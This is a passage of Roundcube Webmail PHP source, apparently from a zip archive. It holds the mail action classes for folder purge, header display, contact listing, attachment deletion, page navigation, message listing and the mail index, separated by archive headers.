            $count = rcube_utils::get_input_string('_count', rcube_utils::INPUT_POST);
        }

        // add new rows from next page (if any)
        if ($addrows && $count && $_POST['_uid'] != '*' && (!empty($jump_back) || $nextpage_count > 0)) {
            // #5862: Don't add more rows than it was on the next page
            $count = !empty($jump_back) ? null : min($nextpage_count, $count);

            $a_headers = $rcmail->storage->list_messages($mbox, NULL,
                self::sort_column(), self::sort_order(), $count);

            self::js_message_list($a_headers, false);
        }

        // set trash folder state
        if ($mbox === $trash) {
            $rcmail->output->command('set_trash_count', $exists);
        }
        else if ($target === $trash) {
            $rcmail->output->command('set_trash_count', $rcmail->storage->count($trash, 'EXISTS', true));
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\��)y
y
%program/actions/mail/folder_purge.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Implement folder PURGE request                                      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_folder_purge extends rcmail_action_mail_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail       = rcmail::get_instance();
        $storage      = $rcmail->get_storage();
        $delimiter    = $storage->get_hierarchy_delimiter();
        $mbox         = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true);
        $trash_mbox   = $rcmail->config->get('trash_mbox');
        $trash_regexp = '/^' . preg_quote($trash_mbox . $delimiter, '/') . '/';

        // we should only be purging trash (or their subfolders)
        if (!strlen($trash_mbox) || $mbox === $trash_mbox || preg_match($trash_regexp, $mbox)) {
            $success = $storage->delete_message('*', $mbox);
            $delete  = true;
        }
        // move to Trash
        else {
            $success = $storage->move_message('1:*', $trash_mbox, $mbox);
            $delete  = false;
        }

        if ($success) {
            $rcmail->output->show_message('folderpurged', 'confirmation');
            $rcmail->output->command('set_unread_count', $mbox, 0);
            self::set_unseen_count($mbox, 0);

            // set trash folder state
            if ($mbox === $trash_mbox) {
                $rcmail->output->command('set_trash_count', 0);
            }
            else if (strlen($trash_mbox)) {
                $rcmail->output->command('set_trash_count', $rcmail->storage->count($trash_mbox, 'EXISTS'));
            }

            if (!$delete && strlen($trash_mbox)) {
                self::send_unread_count($trash_mbox, true);
            }

            if (!empty($_REQUEST['_reload'])) {
                $rcmail->output->set_env('messagecount', 0);
                $rcmail->output->set_env('pagecount', 0);
                $rcmail->output->set_env('exists', 0);
                $rcmail->output->command('message_list.clear');
                $rcmail->output->command('set_rowcount', self::get_messagecount_text(), $mbox);
                $rcmail->output->command('set_quota', self::quota_content(null, $mbox));
            }
        }
        else {
            self::display_server_error();
        }

        $rcmail->output->send();
    }
}
PK
h�\W��z program/actions/mail/headers.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Fetch message headers in raw format for display                     |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_headers extends rcmail_action_mail_index
{
    protected static $source;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $uid    = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GP);
        $inline = $rcmail->output instanceof rcmail_output_html;

        if (!$uid) {
            exit;
        }

        if ($pos = strpos($uid, '.')) {
            $message = new rcube_message($uid);
            $source  = $message->get_part_body(substr($uid, $pos + 1));
            $source  = substr($source, 0, strpos($source, "\r\n\r\n"));
        }
        else {
            $source = $rcmail->storage->get_raw_headers($uid);
        }

        if ($source !== false) {
            $source = trim(rcube_charset::clean($source));
            $source = htmlspecialchars($source, ENT_COMPAT | ENT_HTML401, RCUBE_CHARSET);
            $source = preg_replace(
                [
                    '/\n[\t\s]+/',
                    '/^([a-z0-9_:-]+)/im',
                    '/\r?\n/'
                ],
                [
                    "\n&nbsp;&nbsp;&nbsp;&nbsp;",
                    '<font class="bold">\1</font>',
                    '<br />'
                ],
                $source
            );

            self::$source = $source;

            $rcmail->output->add_handlers(['dialogcontent' => [$this, 'headers_output']]);

            if ($inline) {
                $rcmail->output->set_env('dialog_class', 'text-nowrap');
            }
            else {
                $rcmail->output->command('set_headers', $source);
            }
        }
        else if (!$inline) {
            $rcmail->output->show_message('messageopenerror', 'error');
        }

        $rcmail->output->send($inline ? 'dialog' : null);
    }

    public static function headers_output()
    {
        return self::$source;
    }
}
PK
h�\-x(�##&program/actions/mail/list_contacts.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Send contacts list to client (as remote response)                   |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_list_contacts extends rcmail_action_mail_index
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail        = rcmail::get_instance();
        $source        = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $afields       = $rcmail->config->get('contactlist_fields');
        $addr_sort_col = $rcmail->config->get('addressbook_sort_col', 'name');
        $page_size     = $rcmail->config->get('addressbook_pagesize', $rcmail->config->get('pagesize', 50));
        $list_page     = max(1, $_GET['_page'] ?? 0);
        $jsresult      = [];

        // Use search result
        if (!empty($_REQUEST['_search']) && isset($_SESSION['contact_search'][$_REQUEST['_search']])) {
            $search  = (array) $_SESSION['contact_search'][$_REQUEST['_search']];
            $sparam  = $_SESSION['contact_search_params']['id'] == $_REQUEST['_search'] ? $_SESSION['contact_search_params']['data'] : [];
            $mode    = (int) $rcmail->config->get('addressbook_search_mode');
            $records = [];

            // get records from all sources
            foreach ($search as $s => $set) {
                $CONTACTS = $rcmail->get_address_book($s);

                // list matching groups of this source (on page one)
                if ($sparam[1] && $CONTACTS->groups && $list_page == 1) {
                    $jsresult += self::compose_contact_groups($CONTACTS, $s, $sparam[1], $mode);
                }

                // reset page
                $CONTACTS->set_page(1);
                $CONTACTS->set_pagesize(9999);
                $CONTACTS->set_search_set($set);

                // get records
                $result = $CONTACTS->list_records($afields);

                while ($row = $result->next()) {
                    $row['sourceid'] = $s;
                    $key = rcube_addressbook::compose_contact_key($row, $addr_sort_col);
                    $records[$key] = $row;
                }
                unset($result);
            }

            // sort the records
            ksort($records, SORT_LOCALE_STRING);

            // create resultset object
            $count  = count($records);
            $first  = ($list_page-1) * $page_size;
            $result = new rcube_result_set($count, $first);

            // we need only records for current page
            if ($page_size < $count) {
                $records = array_slice($records, $first, $page_size);
            }

            $result->records = array_values($records);
        }
        // list contacts from selected source
        else {
            $CONTACTS = $rcmail->get_address_book($source);

            if ($CONTACTS && $CONTACTS->ready) {
                // set list properties
                $CONTACTS->set_pagesize($page_size);
                $CONTACTS->set_page($list_page);

                if ($group_id = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_GET)) {
                    $CONTACTS->set_group($group_id);
                }
                // list groups of this source (on page one)
                else if ($CONTACTS->groups && $CONTACTS->list_page == 1) {
                    $jsresult = self::compose_contact_groups($CONTACTS, $source);
                }

                // get contacts for this user
                $result = $CONTACTS->list_records($afields);
            }
        }

        if (!empty($result) && !$result->count && $result->searchonly) {
            $rcmail->output->show_message('contactsearchonly', 'notice');
        }
        else if (!empty($result) && $result->count > 0) {
            // create javascript list
            while ($row = $result->next()) {
                $name = rcube_addressbook::compose_list_name($row);

                // add record for every email address of the contact
                $emails = rcube_addressbook::get_col_values('email', $row, true);
                foreach ($emails as $i => $email) {
                    $source    = !empty($row['sourceid']) ? $row['sourceid'] : $source;
                    $row_id    = $source.'-'.$row['ID'].'-'.$i;
                    $is_group  = isset($row['_type']) && $row['_type'] == 'group';
                    $classname = $is_group ? 'group' : 'person';
                    $keyname   = $is_group ? 'contactgroup' : 'contact';

                    $jsresult[$row_id] = format_email_recipient($email, $name);

                    $rcmail->output->command('add_contact_row', $row_id, [
                            $keyname => html::a(
                                ['title' => $email],
                                rcube::Q($name ?: $email)
                                . ($name && count($emails) > 1 ? '&nbsp;' . html::span('email', rcube::Q($email)) : '')
                            )
                        ],
                        $classname
                    );
                }
            }
        }

        // update env
        $rcmail->output->set_env('contactdata', $jsresult);
        $rcmail->output->set_env('pagecount', isset($result) ? ceil($result->count / $page_size) : 1);
        $rcmail->output->command('set_page_buttons');

        // send response
        $rcmail->output->send();
    }

    /**
     * Add groups from the given address source to the address book widget
     */
    public static function compose_contact_groups($abook, $source_id, $search = null, $search_mode = 0)
    {
        $rcmail   = rcmail::get_instance();
        $jsresult = [];

        foreach ($abook->list_groups($search, $search_mode) as $group) {
            $abook->reset();
            $abook->set_group($group['ID']);

            // group (distribution list) with email address(es)
            if (!empty($group['email'])) {
                foreach ((array) $group['email'] as $email) {
                    $row_id = 'G'.$group['ID'];
                    $jsresult[$row_id] = format_email_recipient($email, $group['name']);
                    $rcmail->output->command('add_contact_row', $row_id, [
                            'contactgroup' => html::span(['title' => $email], rcube::Q($group['name']))
                        ], 'group');
                }
            }
            // make virtual groups clickable to list their members
            else if (!empty($group['virtual'])) {
                $row_id = 'G'.$group['ID'];
                $rcmail->output->command('add_contact_row', $row_id, [
                        'contactgroup' => html::a([
                                'href' => '#list',
                                'rel' => $group['ID'],
                                'title' => $rcmail->gettext('listgroup'),
                                'onclick' => sprintf("return %s.command('pushgroup',{'source':'%s','id':'%s'},this,event)",
                                    rcmail_output::JS_OBJECT_NAME, $source_id, $group['ID']),
                            ],
                            rcube::Q($group['name']) . '&nbsp;' . html::span('action', '&raquo;')
                    )],
                    'group',
                    ['ID' => $group['ID'], 'name' => $group['name'], 'virtual' => true]
                );
            }
            // show group with count
            else if (($result = $abook->count()) && $result->count) {
                $row_id = 'E'.$group['ID'];
                $jsresult[$row_id] = ['name' => $group['name'], 'source' => $source_id];
                $rcmail->output->command('add_contact_row', $row_id, [
                        'contactgroup' => rcube::Q($group['name'] . ' (' . intval($result->count) . ')')
                    ], 'group');
            }
        }

        $abook->reset();
        $abook->set_group(0);

        return $jsresult;
    }

}
PK
h�\[p�n��*program/actions/mail/attachment_delete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Delete attachments from compose form                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_attachment_delete extends rcmail_action_mail_attachment_upload
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        self::init();

        $rcmail     = rcmail::get_instance();
        $attachment = self::get_attachment();

        if (is_array($attachment)) {
            $attachment = $rcmail->plugins->exec_hook('attachment_delete', $attachment);

            if (!empty($attachment['status'])) {
                $rcmail->session->remove(self::$SESSION_KEY . '.attachments.' . self::$file_id);
                $rcmail->output->command('remove_from_attachment_list', 'rcmfile' . self::$file_id);
            }
        }

        $rcmail->output->send();
    }
}
PK
h�\d���,, program/actions/mail/pagenav.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Updates message page navigation controls                            |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_pagenav extends rcmail_action_mail_index
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $uid    = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GET);
        $index  = $rcmail->storage->index(null, self::sort_column(), self::sort_order());
        $cnt    = $index->count_messages();

        if ($cnt && ($pos = $index->exists($uid, true)) !== false) {
            $prev  = $pos ? $index->get_element($pos-1) : 0;
            $first = $pos ? $index->get_element('FIRST') : 0;
            $next  = $pos < $cnt-1 ? $index->get_element($pos+1) : 0;
            $last  = $pos < $cnt-1 ? $index->get_element('LAST') : 0;
        }
        else {
            // error, this will at least disable page navigation
            $rcmail->output->command('set_rowcount', '');
            $rcmail->output->send();
        }

        // Set UIDs and activate navigation buttons
        if (!empty($prev)) {
            $rcmail->output->set_env('prev_uid', $prev);
            $rcmail->output->command('enable_command', 'previousmessage', 'firstmessage', true);
        }

        if (!empty($next)) {
            $rcmail->output->set_env('next_uid', $next);
            $rcmail->output->command('enable_command', 'nextmessage', 'lastmessage', true);
        }

        if (!empty($first)) {
            $rcmail->output->set_env('first_uid', $first);
        }

        if (!empty($last)) {
            $rcmail->output->set_env('last_uid', $last);
        }

        // Don't need a real messages count value
        $rcmail->output->set_env('messagecount', 1);

        // Set rowcount text
        $rcmail->output->command('set_rowcount', $rcmail->gettext([
                'name' => 'messagenrof',
                'vars' => ['nr'  => ($pos ?? 0) + 1, 'count' => $cnt]
        ]));

        $rcmail->output->send();
    }
}
PK
h�\��,Z��program/actions/mail/list.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Send message list to client (as remote response)                    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_list extends rcmail_action_mail_index
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail        = rcmail::get_instance();
        $save_arr      = [];
        $dont_override = (array) $rcmail->config->get('dont_override');

        $sort = rcube_utils::get_input_string('_sort', rcube_utils::INPUT_GET);
        $cols = rcube_utils::get_input_string('_cols', rcube_utils::INPUT_GET);
        $layout = rcube_utils::get_input_string('_layout', rcube_utils::INPUT_GET);

        // is there a sort type for this request?
        if ($sort && preg_match('/^[a-zA-Z_-]+$/', $sort)) {
            // yes, so set the sort vars
            list($sort_col, $sort_order) = explode('_', $sort);

            // set session vars for sort (so next page and task switch know how to sort)
            if (!in_array('message_sort_col', $dont_override)) {
                $_SESSION['sort_col'] = $save_arr['message_sort_col'] = $sort_col;
            }
            if (!in_array('message_sort_order', $dont_override)) {
                $_SESSION['sort_order'] = $save_arr['message_sort_order'] = $sort_order;
            }
        }

        // is there a set of columns for this request?
        if ($cols && preg_match('/^[a-zA-Z_,-]+$/', $cols)) {
            $_SESSION['list_attrib']['columns'] = explode(',', $cols);
            if (!in_array('list_cols', $dont_override)) {
                $save_arr['list_cols'] = explode(',', $cols);
            }
        }

        // register layout change
        if ($layout && preg_match('/^[a-zA-Z_-]+$/', $layout)) {
            $rcmail->output->set_env('layout', $layout);
            $save_arr['layout'] = $layout;
            // force header replace on layout change
            if (!empty($_SESSION['list_attrib']['columns'])) {
                $cols = $_SESSION['list_attrib']['columns'];
            }
        }

        if (!empty($save_arr)) {
            $rcmail->user->save_prefs($save_arr);
        }

        $mbox_name = $rcmail->storage->get_folder();
        $threading = (bool) $rcmail->storage->get_threading();

        // Synchronize mailbox cache, handle flag changes
        $rcmail->storage->folder_sync($mbox_name);

        // fetch message headers
        $a_headers = [];
        if ($count = $rcmail->storage->count($mbox_name, $threading ? 'THREADS' : 'ALL', !empty($_REQUEST['_refresh']))) {
            $a_headers = $rcmail->storage->list_messages($mbox_name, null, self::sort_column(), self::sort_order());
        }

        // update search set (possible change of threading mode)
        if (!empty($_REQUEST['_search']) && isset($_SESSION['search'])
            && $_SESSION['search_request'] == $_REQUEST['_search']
        ) {
            $search_request = $_REQUEST['_search'];
            $_SESSION['search'] = $rcmail->storage->get_search_set();
            $multifolder = !empty($_SESSION['search']) && !empty($_SESSION['search'][1]->multi);
        }
        // remove old search data
        else if (empty($_REQUEST['_search']) && isset($_SESSION['search'])) {
            $rcmail->session->remove('search');
        }

        self::list_pagetitle();

        // update mailboxlist
        if (empty($search_request)) {
            self::send_unread_count($mbox_name, !empty($_REQUEST['_refresh']), empty($a_headers) ? 0 : null);
        }

        // update message count display
        $pages  = ceil($count / $rcmail->storage->get_pagesize());
        $page   = $count ? $rcmail->storage->get_page() : 1;
        $exists = $rcmail->storage->count($mbox_name, 'EXISTS', true);

        $rcmail->output->set_env('messagecount', $count);
        $rcmail->output->set_env('pagecount', $pages);
        $rcmail->output->set_env('threading', $threading);
        $rcmail->output->set_env('current_page', $page);
        $rcmail->output->set_env('exists', $exists);
        $rcmail->output->command('set_rowcount', self::get_messagecount_text($count), $mbox_name);

        // remove old message rows if commanded by the client
        if (!empty($_REQUEST['_clear'])) {
            $rcmail->output->command('clear_message_list');
        }

        // add message rows
        self::js_message_list($a_headers, false, $cols);

        if (!empty($a_headers)) {
            if (!empty($search_request)) {
                $rcmail->output->show_message('searchsuccessful', 'confirmation', ['nr' => $count]);
            }

            // remember last HIGHESTMODSEQ value (if supported)
            // we need it for flag updates in check-recent
            $data = $rcmail->storage->folder_data($mbox_name);
            if (!empty($data['HIGHESTMODSEQ'])) {
                $_SESSION['list_mod_seq'] = $data['HIGHESTMODSEQ'];
            }
        }
        else {
            // handle IMAP errors (e.g. #1486905)
            if ($err_code = $rcmail->storage->get_error_code()) {
                self::display_server_error();
            }
            else if (!empty($search_request)) {
                $rcmail->output->show_message('searchnomatch', 'notice');
            }
            else {
                $rcmail->output->show_message('nomessagesfound', 'notice');
            }
        }

        // set trash folder state
        if ($mbox_name === $rcmail->config->get('trash_mbox')) {
            $rcmail->output->command('set_trash_count', $exists);
        }

        if ($page == 1) {
            $rcmail->output->command('set_quota', self::quota_content(null, !empty($multifolder) ? 'INBOX' : $mbox_name));
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\҉U�program/actions/mail/index.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide webmail functionality and GUI objects                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_index extends rcmail_action
{
    public static $aliases = [
        'refresh'            => 'check-recent',
        'preview'            => 'show',
        'print'              => 'show',
        'expunge'            => 'folder-expunge',
        'purge'              => 'folder-purge',
        'remove-attachment'  => 'attachment-delete',
        'rename-attachment'  => 'attachment-rename',
        'display-attachment' => 'attachment-display',
        'upload'             => 'attachment-upload',
    ];

    protected static $PRINT_MODE = false;
    protected static $REMOTE_OBJECTS;
    protected static $SUSPICIOUS_EMAIL = false;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // always instantiate storage object (but not connect to server yet)
        $rcmail->storage_init();

        // init environment - set current folder, page, list mode
        self::init_env();

        // set message set for search result
        if (
            !empty($_REQUEST['_search'])
            && isset($_SESSION['search'])
            && isset($_SESSION['search_request'])
            && $_SESSION['search_request'] == $_REQUEST['_search']
        ) {
            $rcmail->storage->set_search_set($_SESSION['search']);

            $rcmail->output->set_env('search_request', $_REQUEST['_search']);
            $rcmail->output->set_env('search_text', $_SESSION['last_text_search']);
        }

        // remove mbox part from _uid
        $uid = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GPC);
        if ($uid && preg_match('/^\d+-.+/', $uid)) {
            list($uid, $mbox) = explode('-', $uid, 2);
            if (isset($_GET['_uid'])) {
                $_GET['_uid'] = $uid;
            }
            if (isset($_POST['_uid'])) {
                $_POST['_uid'] = $uid;
            }
            $_REQUEST['_uid'] = $uid;

            // override mbox
            if (!empty($mbox)) {
                $_GET['_mbox']  = $mbox;
                $_POST['_mbox'] = $mbox;
                $rcmail->storage->set_folder($_SESSION['mbox'] = $mbox);
            }
        }

        if (!empty($_SESSION['browser_caps']) && !$rcmail->output->ajax_call) {
            $rcmail->output->set_env('browser_capabilities', $_SESSION['browser_caps']);
        }

        // set main env variables, labels and page title
        if (empty($rcmail->action) || $rcmail->action == 'list') {
            // connect to storage server and trigger error on failure
            $rcmail->storage_connect();

            $mbox_name = $rcmail->storage->get_folder();

            if (empty($rcmail->action)) {
                $rcmail->output->set_env('search_mods', self::search_mods());

                $scope = rcube_utils::get_input_string('_scope', rcube_utils::INPUT_GET);
                if (!$scope && isset($_SESSION['search_scope']) && $rcmail->output->get_env('search_request')) {
                    $scope = $_SESSION['search_scope'];
                }

                if ($scope && preg_match('/^(all|sub)$/i', $scope)) {
                    $rcmail->output->set_env('search_scope', strtolower($scope));
                }

                self::list_pagetitle();
            }

            $threading = (bool) $rcmail->storage->get_threading();
            $delimiter = $rcmail->storage->get_hierarchy_delimiter();

            // set current mailbox and some other vars in client environment
            $rcmail->output->set_env('mailbox', $mbox_name);
            $rcmail->output->set_env('pagesize', $rcmail->storage->get_pagesize());
            $rcmail->output->set_env('current_page', max(1, $_SESSION['page'] ?? 1));
            $rcmail->output->set_env('delimiter', $delimiter);
            $rcmail->output->set_env('threading', $threading);
            $rcmail->output->set_env('threads', $threading || $rcmail->storage->get_capability('THREAD'));
            $rcmail->output->set_env('reply_all_mode', (int) $rcmail->config->get('reply_all_mode'));
            $rcmail->output->set_env('layout', $rcmail->config->get('layout') ?: 'widescreen');
            $rcmail->output->set_env('quota', $rcmail->storage->get_capability('QUOTA'));

            // set special folders
            foreach (['drafts', 'trash', 'junk'] as $mbox) {
                if ($folder = $rcmail->config->get($mbox . '_mbox')) {
                    $rcmail->output->set_env($mbox . '_mailbox', $folder);
                }
            }

            if (!empty($_GET['_uid'])) {
                $rcmail->output->set_env('list_uid', $_GET['_uid']);
            }

            // set configuration
            self::set_env_config(['delete_junk', 'flag_for_deletion', 'read_when_deleted',
                'skip_deleted', 'display_next', 'message_extwin', 'forward_attachment']);

            if (!$rcmail->output->ajax_call) {
                $rcmail->output->add_label('checkingmail', 'deletemessage', 'movemessagetotrash',
                    'movingmessage', 'copyingmessage', 'deletingmessage', 'markingmessage',
                    'copy', 'move', 'quota', 'replyall', 'replylist', 'stillsearching',
                    'flagged', 'unflagged', 'unread', 'deleted', 'replied', 'forwarded',
                    'priority', 'withattachment', 'fileuploaderror', 'mark', 'markallread',
                    'folders-cur', 'folders-sub', 'folders-all', 'cancel', 'bounce', 'bouncemsg',
                    'sendingmessage');
            }
        }

        // register UI objects
        $rcmail->output->add_handlers([
            'mailboxlist'         => [$rcmail, 'folder_list'],
            'quotadisplay'        => [$this, 'quota_display'],
            'messages'            => [$this, 'message_list'],
            'messagecountdisplay' => [$this, 'messagecount_display'],
            'listmenulink'        => [$this, 'options_menu_link'],
            'mailboxname'         => [$this, 'mailbox_name_display'],
            'messageimportform'   => [$this, 'message_import_form'],
            'searchfilter'        => [$this, 'search_filter'],
            'searchinterval'      => [$this, 'search_interval'],
            'searchform'          => [$rcmail->output, 'search_form'],
        ]);
    }

    /**
     * Sets storage properties and session
     */
    public static function init_env()
    {
        $rcmail = rcmail::get_instance();

        $default_threading  = $rcmail->config->get('default_list_mode', 'list') == 'threads';
        $a_threading        = $rcmail->config->get('message_threading', []);
        $message_sort_col   = $rcmail->config->get('message_sort_col');
        $message_sort_order = $rcmail->config->get('message_sort_order');

        $mbox = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_GPC, true);

        // set imap properties and session vars
        if (!strlen($mbox)) {
            $mbox = isset($_SESSION['mbox']) && strlen($_SESSION['mbox']) ? $_SESSION['mbox'] : 'INBOX';
        }

        // We handle 'page' argument on 'list' and 'getunread' to prevent from
        // race condition and unintentional page overwrite in session.
        // Also, when entering the Mail UI (#7932)
        if (empty($rcmail->action) || $rcmail->action == 'list' || $rcmail->action == 'getunread') {
            $page = isset($_GET['_page']) ? intval($_GET['_page']) : 0;
            if (!$page) {
                $page = !empty($_SESSION['page']) ? $_SESSION['page'] : 1;
            }

            $_SESSION['page'] = $page;
        }

        $rcmail->storage->set_folder($_SESSION['mbox'] = $mbox);
        $rcmail->storage->set_page($_SESSION['page'] ?? 1);

        // set default sort col/order to session
        if (!isset($_SESSION['sort_col'])) {
            $_SESSION['sort_col'] = $message_sort_col ?: '';
        }
        if (!isset($_SESSION['sort_order'])) {
            $_SESSION['sort_order'] = strtoupper($message_sort_order) == 'ASC' ? 'ASC' : 'DESC';
        }

        // set threads mode
        if (isset($_GET['_threads'])) {
            if ($_GET['_threads']) {
                // re-set current page number when listing mode changes
                if (empty($a_threading[$_SESSION['mbox']])) {
                    $rcmail->storage->set_page($_SESSION['page'] = 1);
                }

                $a_threading[$_SESSION['mbox']] = true;
            }
            else {
                // re-set current page number when listing mode changes
                if (!empty($a_threading[$_SESSION['mbox']])) {
                    $rcmail->storage->set_page($_SESSION['page'] = 1);
                }

                $a_threading[$_SESSION['mbox']] = false;
            }

            $rcmail->user->save_prefs(['message_threading' => $a_threading]);
        }

        $threading = $a_threading[$_SESSION['mbox']] ?? $default_threading;

        $rcmail->storage->set_threading($threading);
    }

    /**
     * Sets page title
     */
    public static function list_pagetitle()
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->output->get_env('search_request')) {
            $pagetitle = $rcmail->gettext('searchresult');
        }
        else {
            $mbox_name = $rcmail->output->get_env('mailbox') ?: $rcmail->storage->get_folder();
            $delimiter = $rcmail->storage->get_hierarchy_delimiter();
            $pagetitle = self::localize_foldername($mbox_name, true);
            $pagetitle = str_replace($delimiter, " \xC2\xBB ", $pagetitle);
        }

        $rcmail->output->set_pagetitle($pagetitle);
    }

    /**
     * Returns default search mods
     */
    public static function search_mods()
    {
        $rcmail = rcmail::get_instance();
        $mods   = $rcmail->config->get('search_mods');

        if (empty($mods)) {
            $mods = ['*' => ['subject' => 1, 'from' => 1]];

            foreach (['sent', 'drafts'] as $mbox) {
                if ($mbox = $rcmail->config->get($mbox . '_mbox')) {
                    $mods[$mbox] = ['subject' => 1, 'to' => 1];
                }
            }
        }

        return $mods;
    }

    /**
     * Returns 'to' if current folder is configured Sent or Drafts
     * or their subfolders, otherwise returns 'from'.
     *
     * @return string Column name
     */
    public static function message_list_smart_column_name()
    {
        $rcmail      = rcmail::get_instance();
        $delim       = $rcmail->storage->get_hierarchy_delimiter();
        $sent_mbox   = $rcmail->config->get('sent_mbox');
        $drafts_mbox = $rcmail->config->get('drafts_mbox');
        $mbox        = $rcmail->output->get_env('mailbox');

        if (!is_string($mbox) || !strlen($mbox)) {
            $mbox = $rcmail->storage->get_folder();
        }

        if ((strpos($mbox.$delim, $sent_mbox.$delim) === 0 || strpos($mbox.$delim, $drafts_mbox.$delim) === 0)
            && strtoupper($mbox) != 'INBOX'
        ) {
            return 'to';
        }

        return 'from';
    }

    /**
     * Returns configured messages list sorting column name
     * The name is context-sensitive, which means if sorting is set to 'fromto'
     * it will return 'from' or 'to' according to current folder type.
     *
     * @return string Column name
     */
    public static function sort_column()
    {
        $rcmail = rcmail::get_instance();

        if (isset($_SESSION['sort_col'])) {
            $column = $_SESSION['sort_col'];
        }
        else {
            $column = $rcmail->config->get('message_sort_col');
        }

        // get name of smart From/To column in folder context
        if ($column == 'fromto') {
            $column = self::message_list_smart_column_name();
        }

        return $column;
    }

    /**
     * Returns configured message list sorting order
     *
     * @return string Sorting order (ASC|DESC)
     */
    public static function sort_order()
    {
        if (isset($_SESSION['sort_order'])) {
            return $_SESSION['sort_order'];
        }

        return rcmail::get_instance()->config->get('message_sort_order');
    }

    /**
     * return the message list as HTML table
     */
    function message_list($attrib)
    {
        $rcmail = rcmail::get_instance();

        // add some labels to client
        $rcmail->output->add_label('from', 'to');

        // add id to message list table if not specified
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcubemessagelist';
        }

        // define list of cols to be displayed based on parameter or config
        if (empty($attrib['columns'])) {
            $list_cols   = $rcmail->config->get('list_cols');
